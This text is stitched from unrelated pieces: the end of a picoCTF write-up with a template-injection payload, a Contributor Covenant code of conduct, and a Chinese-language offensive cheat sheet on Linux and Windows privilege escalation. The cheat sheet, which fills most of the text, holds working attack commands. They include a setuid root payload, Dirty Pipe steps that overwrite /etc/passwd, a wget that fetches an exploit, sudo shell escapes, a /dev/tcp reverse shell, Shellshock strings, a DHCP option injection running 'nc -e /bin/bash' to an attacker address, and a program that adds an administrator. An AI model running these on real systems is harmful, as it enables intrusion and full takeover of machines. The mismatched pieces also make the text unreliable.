['templates', 'static', 'flag-c8f5526c-4122-4578-96de-d7dd27193798.txt', 'app.py']
```
Finally, we just need to send `{{request[request.args.p1][request.args.p2][11][request.args.p3]()[183]()[request.args.p4][request.args.p5]['open']('flag-c8f5526c-4122-4578-96de-d7dd27193798.txt').read()}}` in order to read the flag: `picoCTF{styl1ng_susp1c10usly_s1m1l4r_t0_p4steb1n} `
|
sec-knowleage
|
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at trimstray@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
|
sec-knowleage
|
# OS - Exploits
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
* **[Linux](#linux)**
* [系统漏洞提权](#系统漏洞提权)
* [原生软件提权](#原生软件提权)
* [系统配置提权](#系统配置提权)
* [sudo](#sudo)
* [suid](#suid)
* [远程漏洞](#远程漏洞)
* **[Windows](#windows)**
* [系统漏洞提权](#系统漏洞提权)
* [远程漏洞](#远程漏洞)
* [域](#域)
* [其他](#其他)
* **[FreeBSD](#freebsd)**
* **[OpenBSD](#openbsd)**
* **[Solaris](#solaris)**
---
## Linux
**相关资源**
- [carlospolop/PEASS-ng](https://github.com/carlospolop/PEASS-ng) - 非常好用,可以直接下载 linpeas.sh 运行
- [xairy/linux-kernel-exploitation](https://github.com/xairy/linux-kernel-exploitation)
- [xairy/kernel-exploits](https://github.com/xairy/kernel-exploits)
- [SecWiki/linux-kernel-exploits](https://github.com/SecWiki/linux-kernel-exploits)
- [Al1ex/LinuxEelvation](https://github.com/Al1ex/LinuxEelvation)
- [bsauce/kernel-exploit-factory](https://github.com/bsauce/kernel-exploit-factory)
**相关文章**
- [年报解读|年度高可利用漏洞——Linux提权漏洞](https://mp.weixin.qq.com/s/sQBHTe_rfHMmnPjhlHAU-w)
### 内核漏洞提权
**文章教程**
- [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- [Local Linux Enumeration & Privilege Escalation Cheatsheet](https://www.rebootuser.com/?p=1623)
**提权辅助工具**
- [mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)
- [jondonas/linux-exploit-suggester-2](https://github.com/jondonas/linux-exploit-suggester-2)
- [rebootuser/LinEnum](https://github.com/rebootuser/LinEnum) - 辅助信息收集脚本
- [DominicBreuker/pspy](https://github.com/DominicBreuker/pspy) - 在没有 root 权限的情况下监视 linux 进程
- [TH3xACE/SUDO_KILLER](https://github.com/TH3xACE/SUDO_KILLER) - 一个用来识别和利用 sudo 规则的错误配置和漏洞的工具
- [liamg/traitor](https://github.com/liamg/traitor) - Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock
---
> 以下工具长期未更新,不推荐
- [sleventyeleven/linuxprivchecker](https://github.com/sleventyeleven/linuxprivchecker) - 长期未更新,不推荐
- [lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - 长期未更新,不推荐
- [Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - 长期未更新,不推荐
- [InteliSecureLabs/Linux_Exploit_Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester) - 长期未更新,不推荐
**CVE-2009-2698**
- 简介
在 2.6.19 之前 Linux 内核中的(1) net/ipv4/udp.c 和(2) net/ipv6/udp.c 中的 udp 实现中的 udp_sendmsg 函数允许本地用户通过涉及 MSG_MORE 标志和 UDP 套接字的向量获得特权或导致拒绝服务(空指针取消引用和系统崩溃)。
- 影响范围
- Linux kernel < 2.6.19
- CentOS 4.4/4.5
- Fedora Core 4/5/6 x86
- POC | Payload | exp
- [Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) - Linux_x86 local Exploit](https://www.exploit-db.com/exploits/9542)
**CVE-2010-3847**
- POC | Payload | exp
```bash
# 在/tmp下创建可控制的目录
$ mkdir /tmp/exploit
# 链接到suid二进制程序以更改$ORIGIN的定义
$ ln /bin/ping /tmp/exploit/target
# 打开到目标二进制程序的文件描述符
$ exec 3< /tmp/exploit/target
# 现在可通过/proc访问描述符
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
# 删除之前所创建的目录
$ rm -rf /tmp/exploit/
# /proc链接仍存在,但已标记为已被删除
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
# 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
# 通过LD_AUDIT强制/proc中的链接加载$ORIGIN
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
```
**CVE-2016-4557**
- 简介
Linuxkernel 是美国 Linux 基金会发布的开源操作系统 Linux 所使用的内核。NFSv4implementation 是其中的一个分布式文件系统协议。Linuxkernel4.5.5 之前版本的 kernel/bpf/verifier.c 文件中的‘replace_map_fd_with_map_ptr’函数存在安全漏洞,该漏洞源于程序没有正确维持 fd 数据结构体。本地攻击者可借助引用不正确文件描述符的 BPF 指令利用该漏洞获取权限或造成拒绝服务(释放后重用)。
- 影响范围
- Linux kernel <= 4.5.4
- POC | Payload | exp
- https://www.exploit-db.com/exploits/39772
- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
**CVE-2016-5195 脏牛 Dirty COW**
- 简介
2016年10月18日,Phil Oester 提交了隐藏长达9年之久的“脏牛漏洞(Dirty COW)”0day 漏洞,该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取 root 权限。
- 影响范围
- Linux kernel < 4.8.3
- 相关文章
- [[翻译]从内核角度分析 Dirty Cow 原理](https://bbs.pediy.com/thread-218797.htm)
- POC | Payload | exp
- [scumjr/dirtycow-vdso](https://github.com/scumjr/dirtycow-vdso)
- [dirtycow/dirtycow.github.io](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)
- [gbonacini/CVE-2016-5195](https://github.com/gbonacini/CVE-2016-5195)
- https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
- https://www.exploit-db.com/exploits/40616
- https://www.exploit-db.com/exploits/40847
- [gebl/dirtycow-docker-vdso](https://github.com/gebl/dirtycow-docker-vdso)
**CVE-2017-1000253**
- 简介
在 Linux 环境下,如果应用程序编译时有 -pie 编译选项,则 load_elf_binary() 将会为其分配一段内存空间,但是 load_elf_ binary() 并不考虑为整个应用程序分配足够的空间,导致 PT_LOAD 段超过了 mm->mmap_base。在 x86_64 下,如果越界超过 128MB,则会覆盖到程序的栈,进而可能导致权限提升。
- 影响范围
- centos < 7.1708
- redhat < 7.4
- POC | Payload | exp
- https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c
**CVE-20171000405 Huge Dirty COW**
- 简介
安全团队 Bindecy 爆出名为大脏牛(HugeDirty Cow)的内核提权漏洞,编号为 CVE-20171000405。包含 linux 内核(2.6.38~4.14)的服务器,桌面,移动等众多设备将面临严重挑战,数以百万计的用户受到安全威胁。该漏洞是由于对之前的内核提权漏洞(cve-2016-5195)修补不完整引发
- 影响范围
- 2.6.38 <= Linux kernel <= 4.14
- 相关文章
- ["Huge Dirty COW" (CVE-2017-1000405)](https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0)
- POC | Payload | exp
- [bindecy/HugeDirtyCowPOC](https://github.com/bindecy/HugeDirtyCowPOC)
**CVE-2019-13272 Linux 4.10 < 5.1.17 PTRACE_TRACEME local root**
- 简介
在 5.1.17 之前的 Linux 内核中,kernel/ptrace.c 中的 ptrace_link 在记录想要创建 ptrace 关系的进程的凭证时处理不当,这使得本地用户可以通过利用某些具有父子进程关系的场景获得 root 权限,其中父进程放弃权限并调用 execve(可能允许攻击者控制)。一个促成因素是对象寿命问题。另一个因素是不正确地将 ptrace 关系标记为特权,这可以通过(例如)PTRACE_TRACEME 的 Polkexec 帮助程序来利用。注意:在某些环境中,SELinux deny_ptrace 可能是一个可用的变通方法。
- 相关文章
- [CVE-2019-13272:Linux本地内核提权漏洞复现](https://cloud.tencent.com/developer/article/1528508)
- POC | Payload | exp
- [jas502n/CVE-2019-13272](https://github.com/jas502n/CVE-2019-13272)
- https://github.com/firebroo/sec_tools/tree/master/linux-kernel-exploits/CVE-2019-13272
**CVE-2020-8835 Linux Kernel 信息泄漏/权限提升**
- 简介
漏洞是因为 bpf 验证程序没有正确计算一些特定操作的寄存器范围,导致寄存器边界计算不正确,进而引发越界读取和写入。该漏洞在 Linux Kernelcommit(581738a681b6) 中引入。
- 相关文章
- [CVE-2020-8835 Linux Kernel 信息泄漏/权限提升漏洞分析](https://paper.seebug.org/1185/)
- POC | Payload | exp
- [Exploit CVE-2020-8835](https://gist.github.com/d4em0n/e8d209e786f63493339f2ddef4d44e3d)
**CVE-2020-14386**
- 相关文章
- [CVE-2020-14386 POC复现](https://www.cnblogs.com/yisumi/p/14366168.html)
- POC | Payload | exp
- [cgwalters/cve-2020-14386](https://github.com/cgwalters/cve-2020-14386)
**CVE-2021-3490**
- 简介
该漏洞源于按位操作(AND,OR 和 XOR)的 eBPF ALU32 边界跟踪不会更新 32 位边界,攻击者可利用该漏洞触发越界读写,从而从普通权限提升到 root 权限。
- POC | Payload | exp
- [chompie1337/Linux_LPE_eBPF_CVE-2021-3490](https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490)
**CVE-2021-3493**
- 相关文章
- [Linux kernel特权提升漏洞(CVE-2021-3493)复现](https://mp.weixin.qq.com/s/D2LM7OUvbiNYXfPG-peU3A)
- POC | Payload | exp
- [briskets/CVE-2021-3493](https://github.com/briskets/CVE-2021-3493)
**CVE-2021-22555**
- 相关文章
- [隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现](https://www.freebuf.com/articles/system/286366.html)
- POC | Payload | exp
- [veritas501/CVE-2021-22555-PipeVersion](https://github.com/veritas501/CVE-2021-22555-PipeVersion)
**CVE-2022-0185**
- 相关文章
- [LINUX内核漏洞——CVE-2022-0185分析与思考](http://blog.nsfocus.net/linux-cve-2022-0185/)
- POC | Payload | exp
- [chenaotian/CVE-2022-0185](https://github.com/chenaotian/CVE-2022-0185)
- [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)
**CVE-2021-31440 Linux 内核eBPF提权漏洞**
- 相关文章
- [CVE-2021-31440:Linux 内核eBPF提权漏洞分析(Pwn2Own 2021)](https://www.anquanke.com/post/id/242567)
**CVE-2021-33909**
- POC | Payload | exp
- [Liang2580/CVE-2021-33909](https://github.com/Liang2580/CVE-2021-33909)
**CVE-2022-0847**
- 影响范围
- 5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
- 相关文章
- [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)
```
gcc poc.c -o exp -std=c99
cp /etc/passwd /tmp/passwd_bak
new_passwd=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${new_passwd/root:x/oot:}"
su root
```
- [CVE-2022-0847_DirtyPipe Linux 内核提权漏洞分析及复现](https://mp.weixin.qq.com/s/-lgZhBobM3-3JKxZY9Iu2Q)
- [CVE-2022-0847 Linux内核漏洞简要分析](https://tttang.com/archive/1480/)
- [CVE-2022-0847漏洞对容器环境影响的深度分析](https://mp.weixin.qq.com/s/lxWylwK8yliuXVllD9oCfg)
- POC | Payload | exp
- [Arinerron/CVE-2022-0847-DirtyPipe-Exploit](https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit)
- https://haxx.in/files/dirtypipez.c
```bash
mkdir dirtypipez
cd dirtypipez
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
find / -perm -u=s -type f 2>/dev/null
./dirtypipez /bin/su
```
- [polygraphene/DirtyPipe-Android](https://github.com/polygraphene/DirtyPipe-Android) - Dirty Pipe root exploit for Android (Pixel 6)
**CVE-2022-2588**
- POC | Payload | exp
- [Markakd/CVE-2022-2588](https://github.com/Markakd/CVE-2022-2588)
**CVE-2022-2639 Linux 内核 openvswitch 本地提权**
- POC | Payload | exp
- [veritas501/CVE-2022-2639-PipeVersion](https://github.com/veritas501/CVE-2022-2639-PipeVersion)
**CVE-2022-25636**
- 相关文章
- [CVE-2022-25636内核越界写入漏洞对容器的影响分析](https://mp.weixin.qq.com/s/a9FoNK8kzckhRfcKPAvqEg)
- POC | Payload | exp
- [Bonfee/CVE-2022-25636](https://github.com/Bonfee/CVE-2022-25636)
- [veritas501/CVE-2022-25636-PipeVersion](https://github.com/veritas501/CVE-2022-25636-PipeVersion)
**CVE-2022-27666**
- 描述
CVE-2022-27666 是 Linux esp6 加密模块中的一个漏洞。该漏洞成因是,esp6模块中用户消息的接收缓冲区是8页缓冲区,但发送者可以发送大于8页的消息,造成缓冲区溢出。
- 相关文章
- [CVE-2022-27666: Exploit esp6 modules in Linux kernel](https://etenal.me/archives/1825)
- POC | Payload | exp
- [plummm/CVE-2022-27666](https://github.com/plummm/CVE-2022-27666)
**CVE-2022-34918**
- POC | Payload | exp
- [randorisec/CVE-2022-34918-LPE-PoC](https://github.com/randorisec/CVE-2022-34918-LPE-PoC)
- [veritas501/CVE-2022-34918](https://github.com/veritas501/CVE-2022-34918)
---
### 原生软件提权
**CVE-2019-7304**
- 相关文章
- [Snapd Ubuntu 提权分析](https://zhuanlan.zhihu.com/p/56916500)
**CVE-2019-14287**
- 简介
当 sudo 配置为允许用户以任意方式运行命令时用户通过 Runas 规范中的 ALL 关键字,可以通过指定用户 ID -1 或 4294967295 以 root 用户身份运行命令。
- 影响范围
- Sudo_project:Sudo:1.3.0:*:*:*
- Sudo_project:Sudo:1.3.1:*:*:*
- Sudo_project:Sudo:1.4.0:*:*:*
- Sudo_project:Sudo:1.5.0:*:*:*
- Sudo_project:Sudo:1.5.1:*:*:*
- 相关文章
- [How to detect CVE-2019-14287 using Falco](https://sysdig.com/blog/detecting-cve-2019-14287/)
- [CVE-2019-14287 linux sudo root 权限绕过漏洞复现](https://mp.weixin.qq.com/s/bb6Hd3JdYiLilqdP_-INtA)
- POC | Payload | exp
```bash
cat /etc/sudoers | grep "(\s*ALL\s*,\s*\!root\s*)"
cat /etc/sudoers | grep "(\s*ALL\s*,\s*\!#0\s*)"
sudo -u#-1 id -u
或者:
sudo -u#4294967295 id -u
```
**Ubuntu + accountsservice dos + gdm3 LPE**
- 相关文章
- [How to get root on Ubuntu 20.04 by pretending nobody’s /home](https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE)
**CVE-2021-3156 Sudo 本地权限提升**
- 漏洞描述
在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。
- 相关文章
- [CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit)
- [漏洞情报|Linux Sudo 本地权限提升高危漏洞风险通告(CVE-2021-3156)](https://mp.weixin.qq.com/s/UsY3NVJjOTiV-96tIA9IpA)
- [CVE-2021-3156:Linux sudo权限提升漏洞复现](https://mp.weixin.qq.com/s/irbTURjWE1qHdAXTr8Y4BA)
- [lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156](https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156)
- POC | Payload | exp
```
以非root用户登录系统,运行
sudoedit -s /
如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
```
- [reverse-ex/CVE-2021-3156](https://github.com/reverse-ex/CVE-2021-3156)
- https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
- [r4j0x00/exploits/tree/master/CVE-2021-3156](https://github.com/r4j0x00/exploits/tree/master/CVE-2021-3156)
- [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156)
- [stong/CVE-2021-3156](https://github.com/stong/CVE-2021-3156)
- [worawit/CVE-2021-3156](https://github.com/worawit/CVE-2021-3156)
- [Rvn0xsy/CVE-2021-3156-plus](https://github.com/Rvn0xsy/CVE-2021-3156-plus)
**CVE-2021-3560**
- 相关文章
- [Privilege escalation with polkit: How to get root on Linux with a seven-year-old bug](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)
- [CVE-2021-3560 Linux polkit 提权](https://mp.weixin.qq.com/s/i9SkEKf0Cx6ha4XXE5IYoQ)
**CVE-2021-4034 pkexec 本地权限提升**
- 相关文章
- [CVE-2021-4034 pkexec 本地提权](https://mp.weixin.qq.com/s/3rnkcRfX_BxzlVzp0stQRw)
- [PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)
- [CVE-2021-4034 Linux Polkit 权限提升漏洞挖掘思路解读](https://mp.weixin.qq.com/s/E2QghsmxhIYSZ2m0YNqYkw)
- https://www.t00ls.com/articles-67498.html
- POC | Payload | exp
- [arthepsy/CVE-2021-4034](https://github.com/arthepsy/CVE-2021-4034) - PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
- [berdav/CVE-2021-4034](https://github.com/berdav/CVE-2021-4034) - CVE-2021-4034 1day
- [ly4k/PwnKit](https://github.com/ly4k/PwnKit) - Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
- [zhzyker/CVE-2021-4034](https://github.com/zhzyker/CVE-2021-4034) - polkit pkexec Local Privilege Vulnerability to Add custom commands
- [EstamelGG/CVE-2021-4034-NoGCC](https://github.com/EstamelGG/CVE-2021-4034-NoGCC) - CVE-2021-4034简单优化,以应对没有安装gcc和make的目标环境
---
### 系统配置提权
**文章教程**
- [Abusing SUDO (Linux Privilege Escalation)](https://touhidshaikh.com/blog/?p=790)
- [谈一谈Linux与suid提权](https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html)
**若 /etc/passwd 文件可修改**
> 梦想总得有,万一真的可以成功呢
```bash
openssl passwd -1 # 输入你想改成的密码,用得到的 hash 去替换 root 行的 x
python -c 'import pty; pty.spawn("/bin/bash")'
```
然后 su root,输入上一步改的密码
#### 符号链接攻击
**相关文章**
- [linux 符号链接攻击防御简介](https://blog.csdn.net/whatday/article/details/102852129)
#### sudo
```bash
sudo -l # 查看当前用户执行哪些 sudo 命令无需密码
```
下面只记录部分,更多内容访问 [GTFOBins](https://gtfobins.github.io/)
- zip
```bash
sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
-T 表示测试 test.zip 的完整性
-unzip-command 与 -T 一起使用,可以指定自定义命令用于解压 test.zip
```
- tar
```bash
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
-checkpoint-action 选项是提权点,可以自定义需要执行的动作
```
- strace
```bash
sudo strace -o /dev/null /bin/bash
```
- nmap
低版本的 nmap3.x 有 interactive 模式,且设置了 suid,这个时候可以进入交互模式 执行 !sh 命令即可轻松完成提权。
```bash
echo "os.execute('/bin/bash')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
```
- more
```bash
sudo more /etc/hosts
!/bin/bash
```
- git
```bash
sudo git help status
!/bin/bash
```
- ftp
```bash
sudo ftp
ftp> !/bin/bash
```
- vim
```bash
sudo vim -c '!bash'
```
- perl:
```bash
sudo perl -e 'exec "/bin/bash";'
```
- python:
```bash
sudo python -c 'import pty;pty.spawn("/bin/bash")'
```
- less
```bash
sudo less /etc/hosts
v
:shell
```
- awk
```bash
sudo awk 'BEGIN {system("/bin/bash")}'
```
- man
```bash
sudo man man
!/bin/bash
```
- vi
```bash
sudo vi
:!bash
或
:!/bin/sh
或
:set shell=/bin/sh
:shell
```
- find
```bash
find . -exec /bin/sh \;
```
---
#### suid
**找带 suid 的文件**
并不是说程序存在 suid 位就可以提权,还需要看程序的所有者
```bash
find / -perm -u=s 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
```
筛选出其中所有人有 rwx 权限的文件,添加如下一句话:
```bash
bash -i >& /dev/tcp/<kali-ip>/port 0>&1
```
---
### 远程漏洞
**CVE-2014-6271** Bash 远程代码执行漏洞"破壳"
- 简介
GNU Bash 是美国软件开发者布莱恩-福克斯(Brian J. Fox)为 GNU 计划而编写的一个 Shell(命令语言解释器),它运行于类 Unix 操作系统中(Linux 系统的默认 Shell),并能够从标准输入设备或文件中读取、执行命令,同时也结合了一部分 ksh 和 csh 的特点。
GNU Bash 4.3 及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd 中的 ForceCommand 功能,Apache HTTP Server 中的 mod_cgi 和 mod_cgid 模块,DHCP客户端等。(说明:该漏洞的补丁并没有完全修复该问题,CNNVD-201409-956 补充了不完整修复后仍存在的问题)
- 相关文章
- [Bash远程代码执行漏洞"破壳"(CVE-2014-6271)分析](https://www.antiy.com/response/CVE-2014-6271.html)
- POC | Payload | exp
- [scottjpack/shellshock_scanner](https://github.com/scottjpack/shellshock_scanner)
- [Bash - 'Shellshock' Environment Variables Command Injection](https://www.exploit-db.com/exploits/34766)
- 本地验证方法
`env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"`
执行命令后,如果显示 Vulnerable CVE-2014-6271,证系统存在漏洞,可改变 echo Vulnerable CVE-2014-6271 为任意命令进行执行.
`User-Agent: () { :;}; whoami`
- MSF 模块
```bash
use exploit/linux/http/ipfire_bashbug_exec
use exploit/multi/http/cups_bash_env_exec
use exploit/unix/dhcp/bash_environment
```
**CVE-2015-7547**
- 简介
Google 安全团队发现 glibc 存在的溢出漏洞。glibc 的 DNS 客户端解析器中存在基于栈的缓冲区溢出漏洞。当软件用到 getaddrinfo 库函数(处理名字到地址以及服务到端口的转换)时,攻击者便可借助特制的域名、DNS 服务器或中间人攻击利用该漏洞,控制软件,并试图控制整个系统。
攻击者使用恶意的 DNS 域名服务器创建类似于 evildomain.com 的域名,然后向目标用户发送带有指向该域名的链接的邮件,一旦用户点击该链接,客户端或浏览器将会开始查找 evildomain.com,并最终得到恶意服务器的 buffer-busting 响应。该域名被嵌入服务器日志中,一旦解析就会触发远程代码执行,SSH 客户端也会因此被控制。或者,位于目标用户网络中的中间人攻击者可以篡改 DNS 响应,向恶意代码中动态注入负载。
简单的说,只要控制了 linux 服务器所访问的 DNS 服务器,或者对 linux 服务器的流量进行劫持;那么,在 Linux 服务器做 DNS 请求时,恶意 DNS 服务器就可以对 linux 服务器进行远程溢出攻击,获取服务器权限。
- 相关文章
- [CVE-2015-7547 - sevck](https://www.cnblogs.com/sevck/p/5225639.html)
- [CVE-2015-7547的漏洞分析](http://blog.nsfocus.net/cve-2015-7547-vulnerability-analysis/)
- POC | Payload | exp
- [fjserna/CVE-2015-7547](https://github.com/fjserna/CVE-2015-7547)
**CVE-2018-1111** DHCP 客户端脚本代码执行漏洞
- 简介
Fedora 是由 Fedora 项目社区开发、美国红帽(Red Hat)公司赞助的一套基于 Linux 的操作系统。DHCP packages 是其中的一个动态主机配置协议软件包。
Fedora 28 及之前版本、Red Hat Enterprise Linux 6 和 7 中的 DHCP 包的 NetworkManager integration 脚本存在命令注入漏洞。本地攻击者可通过伪造 DHCP 响应利用该漏洞在系统以 root 权限执行任意命令。
- 相关文章
- [CVE-2018-1111 复现环境搭建与 dhcp 命令注入](https://www.freebuf.com/articles/web/191884.html)
- [DHCP 客户端脚本代码执行漏洞分析 (CVE-2018-1111) ](https://xz.aliyun.com/t/2455)
- POC | Payload | exp
- [knqyf263/CVE-2018-1111](https://github.com/knqyf263/CVE-2018-1111)
- [kkirsche/CVE-2018-1111](https://github.com/kkirsche/CVE-2018-1111)
- 本地利用方法
```
attacker: kali linux 2018 x64 192.168.71.5
victim: Centos 7 x64 192.168.71.10
```
```vim
vim dnsmasq.conf
bind-interfaces
interface=eth0
except-interface=lo
dhcp-range=192.168.71.10,192.168.71.20,12h
dhcp-option=3,192.168.71.5
dhcp-option=6,192.168.71.5
log-queries
log-facility=/var/log/dnsmasq.log
```
```
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash192.168.71.5 6666 #"
nc -l -p 6666 -v
```
重启 CentOS 的网络服务,然后 shell 就反弹回来了
---
## Windows
**相关资源**
- [WindowsExploits/Exploits](https://github.com/WindowsExploits/Exploits)- Windows Exploits
- [Ascotbe/Kernelhub](https://github.com/Ascotbe/Kernelhub)
---
### 提权漏洞
**相关文章**
- [Windows Privilege Escalation Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
- [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
- [猫鼠游戏:Windows内核提权样本狩猎思路分享](https://mp.weixin.qq.com/s/j72DUDKS8MX4iA10WBs2XA)
- [Windows 提权汇总](http://ryze-t.com/posts/2022/01/18/Windows-%E6%8F%90%E6%9D%83%E6%B1%87%E6%80%BB.html)
**提权辅助工具**
- [windows 本地提权对照表](http://www.7kb.org/138.html)
- [提权辅助网页](https://i.hacking8.com/tiquan/)
- [Windows提权EXP在线搜索工具](http://blog.neargle.com/win-powerup-exp-index/)
- [BulletinSearch-微软官网提供的漏洞 excel 列表](http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx)
- [GDSSecurity/Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) - 此工具将目标修补程序级别与 Microsoft 漏洞数据库进行比较,以便检测目标上可能缺少的修补程序.
- [bitsadmin/wesng](https://github.com/bitsadmin/wesng) - Windows Exploit Suggester
- [tengzhangchao/microsoftSpider](https://github.com/tengzhangchao/microsoftSpider) - 爬取微软漏洞信息,MS 对应的每个版本操作系统 KB 号以及补丁下载地址.
- [SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) - Windows 平台提权漏洞集合
- [AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - 将目标的修补程序与微软的漏洞数据库进行比较,以检测目标的潜在缺失修补程序。
- [akabe1/windows_exploit_dowser](https://github.com/akabe1/windows_exploit_dowser) - 一个简单的工具,可以用来识别影响 Windows 操作系统的漏洞。
- [itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck) - Privilege Escalation Enumeration Script for Windows
**添加开机启动项**
useradd.c
```C
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup adminstrators lowpriv /add");
return 0;
}
```
```
i586-mingw32msvc-gcc useradd.c -o useradd.exe
```
将 useradd.exe 传到目标机上,用 useradd.exe 去替换 everyone 完成控制且以系统权限开机自启的 exe,即可将用户 lowpriv 提升为管理员权限
查看一个程序的各个用户权限: `icacls xxx.exe`
